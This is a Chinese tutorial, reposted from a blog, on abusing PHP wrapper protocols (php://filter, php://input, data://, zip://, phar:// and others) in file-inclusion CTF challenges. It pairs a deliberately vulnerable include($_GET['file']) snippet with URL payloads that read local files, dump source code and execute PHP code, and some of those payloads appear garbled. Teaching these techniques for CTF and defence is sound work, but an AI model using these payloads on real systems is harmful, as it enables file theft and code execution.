PHP伪协议 一、伪协议介绍 php伪协议,也是php支持的协议和封装协议。 常见的有: file:// 访问本地文件系统php:// 访问各个输入/输出流data:// 数据zip:// 压缩
php伪协议,也是php支持的协议和封装协议。
常见的有:
不过有些伪协议需要allow_url_fopen和allow_url_include的支持。
file://伪协议用作是展现本地文件系统。
CTF中一般用来读取本地文件或者执行php脚本。
绝对路径和相对路径或者网络路径(Http://127.0.0.1/info.php)都可以。不过网络路径就需要allow_url_fopen和allow_url_include都为On。
tips:
include()/require()/include_once()/require_once()的参数可控的情况下,如果导入的文件为非.php文件,仍会按照PHP语法进行解析,这是include()函数所决定的。
例:使用file://伪协议去包含本地的phpinfo.php和flag.txt
$file = $_GET['file'];include $file;
payload:
?file=file://E:\phpinfo.php?file=../flag.txt?file=http://127.0.0.1/flag.txt
php://伪协议作用是访问各个输入输出流
在CTF中经常用到的是php://filter和php://input
php://filter用来读取源码(.php文件的源码);php://input用来执行php代码(通常以post形式,post一段php代码上去执行)
注:
在enctype="multipart/fORM-data"的时候,php://input是无效的。
php://filter的各个参数详解:
参数 | 描述 |
---|---|
resource=<要过滤的数据流> | 必须项。它指定了你要筛选过滤的数据流 |
read=<读链的过滤器> | 可选项。可以设定一个或多个过滤器名称。 |
write=<写链的过滤器> | 可选项。可以设定一个或多个过滤器名称。 |
<; 两个链的过滤器> | 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于base64_encode()和base64_decode(),base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
例如,读取fileprotocol.php文件源码:
?file=php://filter/read=convert.base64-encode/resource=./fileprotocol.php
读出来base64解码就是源码了。
例如:php://input执行phpinfo()
注:allow_url_include要为On
GET和POST都可以
fputs(fopen('1.php','w'),''); ?>
zip://、bzip2://、zlib://都属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可以修改为任意后缀:jpg、png、gif、xxx等。
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
例:压缩phpinfo.txt为phpinfo.zip,将zip改为xxxx,包含里面的phpinfo.txt
phpinclude ($_GET['file']);
payload:
?file=zip://D:\phpstudy_pro\WWW\php-audit\fake_protocol\phpinfo.xxxx%23phpinfo.txt
compress.bzip2://file.bz2(同样支持任意后缀名)
?file=compress.bzip2://E:\phpinfo.xxx
compress.zlib://file.gz(同样支持任意后缀名)
?file=compress.zlib://E:\phpinfo.xxx
需要allow_url_include和allow_url_fopen都为On
data://伪协议是数据流封装器,传递相应格式的数据。
通常可以用来执行PHP代码。
用法:
data://text/plain,data://text/plain;base64,
例:
$file = $_GET['file'];include $file;
?file=data://text/plain,?file=data://text/plain;base64,PD9waHAGCGhwaW5mbygpOz8%2b
远程包含需要allow_url_fopen和allow_url_include都为On。
允许通过HTTP 1.0的GET方法,以只读的方式访问文件或者资源。
CTF中通常用于远程包含。
?file=http:/127.0.0.1/phpinfo.txt
phar://伪协议和zip://类似,同样可以访问zip格式压缩包内容
?file=phar://E:\WWW/phpinfo.zip\phpinfo.txt
来源地址:https://blog.csdn.net/qq_37466661/article/details/126203437
--结束END--
本文标题: PHP伪协议
本文链接: https://www.lsjlt.com/news/386883.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
下载Word文档到电脑,方便收藏和打印~
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0